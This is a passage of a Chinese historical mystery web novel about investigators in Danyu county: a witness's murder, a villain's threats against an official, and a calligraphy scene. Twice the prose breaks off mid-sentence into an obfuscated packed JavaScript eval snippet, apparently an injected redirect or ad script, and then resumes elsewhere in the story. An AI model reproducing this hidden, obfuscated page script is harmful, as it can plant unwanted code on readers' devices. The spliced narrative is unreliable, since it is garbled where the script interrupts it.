“要我说,合该好好惩治县衙这股不正之风,底下的人敢如此怠工,想来也是上面的人带头而为。”赵恪望向缩在角落里不敢说话的人,点名问道,“冯宗,你说是不是啊?你平日是什么管理县衙的?” “大人饶命,大人饶命!”冯宗浑身一抖,连连磕头。 他不过是个县丞,就算论起管理失职,也该讨问许奉才是。只是冯宗心里也明白,这时候把过错推到死人身上是无用的,况且许奉还是岭王敬重的老师,万万不能指摘他,只得声泪俱下,发自肺腑道:“还望大人听下官一言。县衙当职的衙役上下加起来不过二十余人,不是乳臭未干的毛头小子,就是上了年纪的老翁,真正算得上壮丁者也只有三四人,平日里抓个贼都费劲,真如昨夜那般碰上了杀人如麻的高手,也是任人宰割的命,非是县衙不作为,是实在力所不能及啊!” 崔慧闻言,隐晦地瞥了齐煊一眼。倘若这位岭王不糊涂,应该也明白这邹业的死即便不是赵恪亲手所为,也绝对与他脱不了关系。 昨夜守南门的衙役甚至不用问审,想来全都被收买,才导致邹业进城的消息半点没露。他的尸身是被今早去替守的衙役发现的,半个夜晚的时间,已经冻得硬邦邦了。 只是昨夜他们皆聚于风月楼饮酒看戏,无人缺席,后又一同回的县衙,即便有心追究也拿不出有力的凭证,只能看着这罪魁祸首在屋中弄虚作假地问责。 但崔慧有些担心齐煊在一气之下当真听信赵恪所言,牵连无辜。他正想开口为冯宗开脱,却听齐煊冷声道:“若真如赵大人所言,论起上头人的罪过首当其冲的不应是冯宗,我们这些从京城奉命而来,却彻夜大醉于风月楼而失职正事的人又如何处置?” 赵恪嬉皮笑脸道:“王爷说笑了,自入郸玉以来我们一直兢兢业业查案,何有怠慢之说?” 饶是冯宗现在慌得要死,却还是忍不住在心里骂道:好一个没脸没皮的东西。 “若不是邹业从外头惹了事叫人追上门杀了,那便是有人守株待兔,一早就守在他的住处。”赵恪道,“我看这郸玉县民风朴实,能做出如此胆大行径的,恐怕只有千路山上那群恶匪了吧?” 齐煊脑中闪过袁察那张光明磊落的脸,顿时觉得无比头痛,他心知奈何不得赵恪,也不欲再与他争论,只撂下一句:“此事不宜妄下定论,还待细查,先将守城门的官吏审清楚再说。”说罢便拂袖而去。 赵恪敛起笑容,将其他人赶出去,看到崔慧起身想走,就一只手搭在他的肩膀上,将他按回原位:“崔大人且慢。” 房门一关,周围寂静下来,崔慧此刻已身心俱疲,但知道赵恪不好对付,只能强撑起十二分的精神,绷着脸不语。 言多必失,沉默好赖还能装成高深莫测,倘若审问起随从的事,他就咬死了说不知。 赵恪立于堂中。他的身量遗传自赵首辅,高挑而修长,本应是出色的身体条件,可惜配了不大协调的五官,与风流倜傥、玉树临风一概不沾边,下三白眼也无端显得阴狠。 “崔大人,现在只有你我二人,我就不拐弯抹角了。有个小老鼠昨夜误闯我的寝房,不慎叫我喂养的猫给吃了。”他并未责问崔慧,只是从袖中摸出一个东西,轻轻放在桌上。 崔慧转眼看去,就见那是一块腰牌,正是他随从贴身佩戴之物。 赵恪道:“崔大人,你表字若愚,想来也是有大智之人,我体谅你想早点将此案解决回京过年,但是你也太心急了,如此沉不住气,怎么成大事?” 他这一口教训的语气,让崔慧觉得恼恨无比。 赵恪:“你若所求功名利禄,只需老老实实在房中躺着,不日许奉被害一案水落石出,便可回京城领赏。倘若都察院不给,提拔你一个右佥都御史对我赵家来说也不算难事。” “当然,若是崔大人执意要为什么莫须有的‘真相’纠缠,非要搅得所有人不得安生过年……”他拍了拍崔慧的肩头,力道不重,却叫人心头微颤,随后俯身凑近他的耳朵低语,“郸玉这地方也不算小,我会找一块风水宝地,给崔大人的身体和脑袋各办一场丧事,风光下葬。” 威逼利诱齐出,赵恪原形毕露,亮出一对獠牙。 崔慧脸色强作镇定,可脸上的血色却褪了个干干净净,抿唇不语。桌上的腰牌灼痛他的眼睛,细细看去,上面还沾了零星干涸的血迹,明晃晃地表示其主人已经命归西天,顺道嘲笑着崔慧的愚蠢。 赵恪说完了话,抖了抖衣袖,像是打了胜仗的将军,威风凛凛地离开了。 陆酌光慢吞吞地合书起身,对崔慧问道:“崔大人,你喜欢狗吗?” 这装模作样的假秀才一看就不是好人。崔慧没有应声。 陆酌光却一副热心肠的样子,建议道:“我家隔壁养的狗下了几条崽子,或许你需要一只,待养得牙尖嘴利了,再碰上冲你耀武扬威之人,便可放狗咬他。” 崔慧不知道如何回应:“……” 陆酌光好似也不需要他回应,说完便提着书离开了,堂中仅剩下崔慧一人。 他将腰牌抓在手中,恨得咬牙切齿,满心懊恼。从前在京中他没有与赵恪打过交道,只经常听说他是个吃喝玩乐的纨绔,与之交手不过稍有轻敌,结果栽了个大跟头。 然而死了的邹业已无转圜余地,宽慰齐煊才是当务之急。 崔慧匆匆起身,出门一问才知齐煊又去了义庄,赶忙命人备马。 另一头,冯宗也在满大街找人。他虽然暂时没被追究责任,但出了这么大的事,他头上的帽子不仅时刻不保,脑袋怕是也不大牢固。 尽管他早就料到这个年底必不会太平,京城来的那伙人定会变着法地将郸玉搅得天翻地覆,但真到了这头颅摇摇欲坠的关头,他还是吓得不行,飞奔去找周幸。 周幸这个人不怎么归家,有时会在大街小巷里乱走,有时在赌坊喝酒或是在青楼听曲,若要找她就去那种不正经的地方,一问便知下落。 冯宗找到她的时候,她正在赌坊里赢得盆满钵满,两个衣袖都是沉甸甸的铜板,摇起来哗哗作响。 冯宗扯着她的袖子,将她拽离那乌烟瘴气之地,拉到角落里急声道:“姑奶奶,出大事了,你还有心思在这儿装财神爷!” “我知道。”周幸数着刚赢的铜板,满不在乎,“不就是邹业死了嘛。” “什么叫‘不就是’?!当初找你的时候,你可是信誓旦旦跟我保证,只要邹业被带回衙门,许奉的死就能水落石出,让我安然渡过此劫,现在人都死了,可如何是好?” “既是计划,就没有万无一失之说,赶不上变化也是常有的事。再说了,那邹业死得也不冤啊,对方派出的是高手,即便昨夜县衙的人倾巢而动,一样保不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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西郊义庄,今日是许奉的头七。停尸堂的房门都紧闭,由衙役看守,除却许宅有一些念着旧情的下人跟随许夫人来过几回之外,来得最勤快的就是齐煊。 人一旦死了,很快就没有人样了,几日前见许奉时他闭着眼睛躺在棺材里,好似睡着一般,而眼下他面色青紫,面颊干瘪枯瘦,死亡蚕食他的身体,每一寸皮肤都在哭诉他的不得安宁。 齐煊久坐棺材前不语,手里轻轻摩挲着木头雕刻的小马。 “王爷。”崔慧在一旁站了好一会儿,轻声唤道,“赵恪背靠的是赵首辅,手底下的能人也不少,单是那杀人的手段就非寻常人能比,守城门的衙役受其收用,邹业的死是无可奈何。” 他跟随齐煊奔波几日排查此案的数个方向,如今就等着邹业归家问审,谁知一个没看住,邹业的脑袋就这么落地了,他连着几日的风里来雪里去都成了泡影,功亏一篑。 邹业怕是昨夜没进城多久就死了,然而他们今早才得知,可见赵恪就算是整日闭门不出,纵情享乐,也比他们快一步获得消息,采取行动。 县衙之内的吕鸿是个风吹就倒的谄媚之辈,冯宗又有着过于谨慎的平庸,剩下一众衙役老的老,小的小,这些人的用处微乎其微。 邹业一死,线索彻底没了,他聚赌的黄金从何而来?许奉又是因何而死?是什么人在郸玉兴风作浪?赵恪如此着急灭口,究竟想掩饰什么?都没了答案。 崔慧不过一步棋走错,就折了手里最大的棋子,形势毫无容错可言,哪怕不分昼夜,一刻不停地奔波查案,也能被赵恪轻易截断前路,竹篮打水一场空。 齐煊将手掌贴在棺材上,这装着尸体的东西无法传递任何温度,唯有腊月的霜寒与无尽的死寂,而里面躺着他至敬至爱的老师。 他幼年时遇到疑惑不解的事,都会下意识抬头向老师询问,而今迷茫踌躇,合该需要老师解惑,可是许奉躺在棺材里,再也不会回答他。 “若愚。”齐煊忽而开口问,“这案子还能往下查吗?” “王爷。”崔慧撩起衣袍跪下来,“切莫多虑,还没行至绝路,事有轻重缓急,须得一件件地解决。许大人的尸身在此地停放许久,如今头七也要过了,再耽搁下去怕是尸身有损,还是早日让许大人入土为安吧。” 是啊,不能再耽搁了。齐煊心想,天这么冷,成天让老师在这里躺着也不是办法,再是无能,总也要将老师的丧事办好。 正想着,忽而有人轻声叩门,只听传报:“王爷,崔大人,小人有事禀报。” 齐煊稍敛颓色,将木雕小马拢入袖中,抬手示意崔慧开门,就见有一个身材魁梧的男人裹着寒风踏进来。 他身量高大,身着衙役衣裳,剑眉墨眸,皮肤黝黑,是县衙里仅有的几个算是壮丁的衙役之一。 齐煊先前便是见他腿脚利索,派他去打探邹业的身世,此前一直未得进展,如今却称有事禀报,齐煊心头微动,忙免了他的礼,问道:“何事?” “小人叶嵘。先前得王爷之令打探邹业身世,拿着他的画像出城之后往北行了几十里地,才在名唤成丘乡的地方打听到一个叫邹大石的人。 邹大石原有一妻,五年前被征兵入伍,但康平四年时,即两年前又突然返乡,没多久他一家老小皆惨死在家中,其人亦不见踪影,当地保甲将此案定为他杀害亲人畏罪潜逃。” 叶嵘从怀中摸出一卷纸,双手奉上:“此为乡役给的册子,小人再三比对,邹大石的画像与邹业相差无二,其年龄、身上的胎记、指印以及生平足迹等也与邹业完全吻合,已确认邹业便是五年前征兵入伍,又在两年前返乡杀害全家老小之后逃至郸玉的邹大石。” 16.笔下乾坤 唢呐一响,刚过了头七的前任知县在天色未明的吉时下葬了。 许宅门口洒了满地的纸钱,凄惨恸哭的声音隔着隔着院落传出,钉棺材的声音咚咚作响,好像预示着一切即将尘埃落定。 许奉生前无子,后院只有一妻一妾,宅中的下人俱已遣散,只余下几个忠心耿耿的没走,正左右掺扶着哭得几度晕厥的许夫人,小妾则远远坠在后方掩面低泣,因此送葬队伍并不热闹。 大齐素来秉持“尊师重道”的理念,齐煊为老师守孝,不算出格。他以“学生”的身份代子,着一身素白孝衣,在棺材前领路。 冯宗抹着眼泪一路相送。赵恪挤了两滴假惺惺的眼泪,看着棺材被抬出许宅后便不再跟随。吕鸿缺席未出。 赵恪见棺材抬走,许宅落得冷冷清清,他几步走到陆酌光的面前,冷声道:“你昨夜做了什么?” 陆酌光疑惑地轻挑眉尾,表示不懂。 赵恪不耐烦质问:“少装傻,邹业的人头怎会平白无故出现在吕鸿的床上?是不是你所为?” 昨夜那原本放在义庄的邹业的脑袋不翼而飞,吕鸿夜半醒来起夜,一睁眼正与那头颅脸对脸,当场吓了个真正意义上的屁滚尿流,现在人还半醒半昏地瘫在床上,无论如何也爬不起来参加许奉的下葬。 无非就是昨日问责时,吕鸿在堂中说了一句“活脱脱是个畜生”,叫这睚眦必报的人记恨在心,蓄意报复。 陆酌光笑了笑,白俊的眉眼笼着光,一副好脾气的模样,温声道:“谁知道呢?或许是它自己长了双腿跑去的。” “陆敛。”赵恪直唤其名,压低声音严肃警告,“事情就快结束了,你少节外生枝,给我惹麻烦。” 陆酌光充耳不闻。赵恪的威压对他向来是没用的,陆酌光认为,人一旦长得丑了,任何情绪产生的任何表情,都只有滑稽,而赵恪更是丑中之丑。 他不想在此时笑话赵恪以显得自己像个刻薄的人,于是不予理会,十分大度地转身离去。 由于他最近临帖太过勤奋,纸已经被用完,他去书铺添置了新的墨和纸,沿途还买了一包糕点,打算教孩子们读书写字的时作为奖赏。入巷而回,进门后他看见半空有一只黑羽鸟飞掠而过。 陆酌光将手中的东西放下,摸出新买的弹弓,随手捻起个红豆,闭上一只眼睛瞄准片刻,一拉一放,那黑羽鸟就扑腾着翅膀翻落下来。 陆酌光面无表情走上前,提着翅膀拾起,随手放在院中的桌上,再将新购置的东西抱进房中,才刚摆好便有叩门声传来。 他前去开门,就见一个年轻的姑娘站在外面。陆酌光露出惊讶,轻声细语地询问:“姑娘所为何事?” 那姑娘含羞带怯,面颊扑红,似不大好意思与陆酌光对视:“我的纸鸢不慎掉在公子的房顶,不知可否行个方便,让我进去将它捡回。” 陆酌光转头一看,果然见他那寝房的瓦顶上落了个纸鸢,便道:“姑娘稍等,我去隔壁借个木梯来。” 他错身出门,前去借梯子,年轻姑娘则站在门外,她偏头往里探了一眼,看见院中的桌子上那只伤了翅膀的黑羽鸟正扑腾得厉害。 天色大亮时,埋许奉的最后一捧土落下,周幸站在山丘处,倚着一棵枯木遥遥看了一眼,随后于漫天飘散的纸钱中,揣着手离开。 她的精神有些萎靡,哈欠一个接一个地打,胃口也不佳,早起只吃了几口肉饼。谁知就这么几口东西,还差点在腌鱼铺里吐了个干净。 周幸一进门,就喊着老板挑了一条铺子里腌得时间最久,最臭的鱼。老板果然不负她望,翻出了压在最底下的罐子,还没打开那恶臭味就熏得周幸差点把胃里的肉饼当作回礼赠给老板。 “封紧封紧,千万别泄出味道来,多裹几层。”周幸捏着鼻子站在外面再三强调,并称赞道,“您有这厉害的兵器,何必屈就在这里当个小老板,便是拿着出去打仗也战无不胜了。” 老板说,试过,征兵的官吏说不招挑大粪的。 尽管老板里三层外三层封得结结实实,腌鱼的味道还是有一丝若有若无地萦绕,周幸又只得去了脂粉店跑一趟,买了香喷喷的香粉,阔气地全撒在身上,化作盛放的桂花,飘香十里。 随后她提着包装厚实的腌鱼前去寻陆酌光。行至巷口时,却见钱不断在不远处的树下团团转,一脸焦急的模样。周幸心生怀疑,几个快步过去。 钱不断在看见周幸的瞬间,表情变换相当丰富多彩,先是惊讶,随后一喜,但下一刻不知想到了什么,立即又转为恐惧,身体像是出于本能反应转身就要跑,活灵活现起诠释“做贼心虚”四个字。 “站住。”周幸吐出两个字,将他钉在原地。 钱不断万万不敢再动,只得转回身道:“老大,大事不好!” 周幸眼眸轻眯,不笑时神色显得肃沉,钱不断吓得瑟瑟发抖,不敢半点隐瞒,全盘托出。 说是昨日莫惊秋找上他,表示她问袁察借了一只黑羽,打算用以盯梢陆酌光。 那只黑羽落在墙头,只要屋中的人离开,它便会在空中盘旋,莫惊秋让钱不断站在外头盯着黑羽的动向,一旦陆酌光出门便立即传报于她。 昨日陆酌光只有天不亮时出门一趟,其他时间都在屋中,今日则一大早去参加许奉的丧事,钱不断就赶忙前去报信。 莫惊秋本想趁着陆酌光离开的时间翻进他的屋中搜寻,但没想到他归来得那么快,只得匆匆吹哨将黑羽召回。 这种黑羽是袁察培育的特殊鸟类,经过反复训练,能听见一种人的耳朵听不到的奇异哨音,还会识别哨音传达的指令。 没承想召回时,黑羽突然撞在檐下,摔进了陆酌光的院中。莫惊秋大骂袁察养的鸟不可靠,关键时候出差错,但为了不让陆酌光带走黑羽,她便假借纸鸢落在屋顶的理由,上门寻找机会寻回黑羽。 钱不断说完,瞧瞧偷看了一眼周幸的脸色,就见她眉眼淡漠如水,眼眸微敛,嘴角拉得很平,没有任何情绪。照钱不断的经验,这便是老大动怒的样子,他屏住了呼吸努力缩成一团。 “黑羽自翅膀能飞开始,便会进行避障训练,绝不会犯出撞在屋檐上这种低级错误。”周幸望向巷口,沉声道,“是陆酌光察觉了你们两个的计划,故意将人引去。” 钱不断吓得打磕巴:“那、那莫惊秋会被怎么样?” “你以为邹业的脑袋是谁摘下来的。”周幸踢了他一脚,先给钱不断宣判了死期,“回去再找你算账!” 此时在陆酌光院中,他已经顺着木梯爬上去,将纸鸢摘了下来。 莫惊秋站在下方扶着梯子,接过纸鸢后笑道:“听附近的孩子说最近有个先生教他们念书,想必就是学识渊博的陆秀才了。” “担不起学识渊博。”陆酌光回应得很敷衍,站在水缸旁洗手,瞥见桌上原本放着的鸟不见踪影。他眸光微转,轻轻落在莫惊秋的后脖子上,思索着在这里杀了她,处理起来需要做哪些麻烦事。 他今日穿了白衣,血溅在上面不好洗。不过他的衣袖内侧有一片寸长的刀片,极其薄,锋利非常,若是在颈子最粗的那根血脉上落一刀,倒是可以在血液喷涌之前抽身避开。 “多谢陆秀才。”莫惊秋往外走,毫无察觉身后的陆酌光悄然将手探进了袖中。 恰逢此时有一人从外踏步而来,那姿态像回自己家似的,迎面与二人撞上,三人同时一怔,停下脚步。 “我道陆秀才怎么大敞门扉,原来是有美人上门呢。”周幸眼睛不是眼睛,鼻子不是鼻子地阴阳了一句,视线往下一落,看向莫惊秋手中的纸鸢,又酸溜溜道,“看来我来得不巧,二位打算出门?” 比周幸先进门的,是非常可怕的廉价香粉味,顺着风扑了陆酌光一脸,他不由自主地偏了偏头,后退两步,手也从袖中落出来。 “周姑娘。”陆酌光一张口就被刺鼻的香味填满了口腔,因此也没后话,只有这么干巴巴的一声。 “之前说要给你题字,昨日忙活了一整天,今日刚得闲就马不停蹄地赶来。”周幸叹道,“没想到陆秀才已有佳人相伴,那我便不打扰了。” 她说着,就想将手里的东西放下,佯装要告辞离去。陆酌光却道:“且慢。我刚买了新的纸笔,正方便周姑娘用。” 此话已有赶客之意,莫惊秋不便多留。看见周幸出现在门前的瞬间,她就如坠冰窟,心惊胆跳,知道自己擅自行动被抓了个正着,必被严惩,此时断不敢多言,匆匆离去。 没了第三人在场,周围静了,院子也显得宽敞,二人相对而站。 陆酌光始终与周幸保持着几步的间隔,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周幸不动声色地观察他,发现他眼中的哀愁不像演的,与前夜得到那本书时露出的欣喜一样,充满着真心。 她走到近处,抬手拍了拍他的肩膀,柔情蜜意地安慰道:“无妨,不过一本书,日后我寻得其他名家之作,再送你就是。” 陆酌光屏住呼吸。 周幸故意多站了会儿,见他隐有侧身躲闪之意,才慢悠悠地转走,在他的书房各处参观,一派游手好闲的模样。陆酌光研好了墨,又拿出新买的纸铺在桌上,道:“周姑娘请。” 他忙完手头上的事,就立即去将窗子推开,凛冽的寒风瞬间灌进来,清新的味道冲散了浓郁的廉价香味,陆酌光在窗边呼吸了几口,差不多等同获得新生。 周幸还在磨磨蹭蹭,握着笔摆了一堆架势,始终不肯动笔。他走回桌旁,并不催促,耐心十足地等候,直到周幸把人能做出来的姿势都摆了个遍,才见她将笔戳进了砚台。 她方才起势用了不少时间,那模样很像是一肚子草包的花架子,然而真正落笔的刹那,她的气质却发生了微妙的变化。 轻挑和浪荡从笔尖流淌而过,浓稠的墨落在平整的纸上,周幸站得笔直,头微微低垂,耳边零散的碎发随风轻动,轻抚蕴着笑意的眉眼。 陆酌光将视线凝聚在笔尖,发现那支他平日里用起来就支楞八叉,半死不活的墨笔,此刻如同脱胎换骨一样,尽现谄媚之态,迫不及待地讨好新的主人,写出的一笔一划都如蛟龙游曳,跃然于纸。 墨笔挥洒片刻,很快便凝成一句风流意气,潇洒无比的“千金散尽还复来”。 周幸将最后一笔落下,抬起头时眼角笑意未散,对陆酌光问道:“如何?” 真邪门。陆酌光心想,她看起来一点不像是会写出这种字的人。 她运笔时,身上那世俗的浊气仿佛一扫而空,只剩动静二色。动是旷野上喧嚣的风,江河岸奔腾的浪,静则是雪山巅挺拔的松,万丈天卷积的云,与放纵不羁、沉寂无声相伴相随,既自由汹涌,又柔和百转。 忘记听谁说过,笔下之字能拟出人的三成风骨。可是周幸这样长袖善舞,汲汲营营,大多数时候都挺不直的脊骨,何以装得下那些蕴于无形间的波澜壮阔?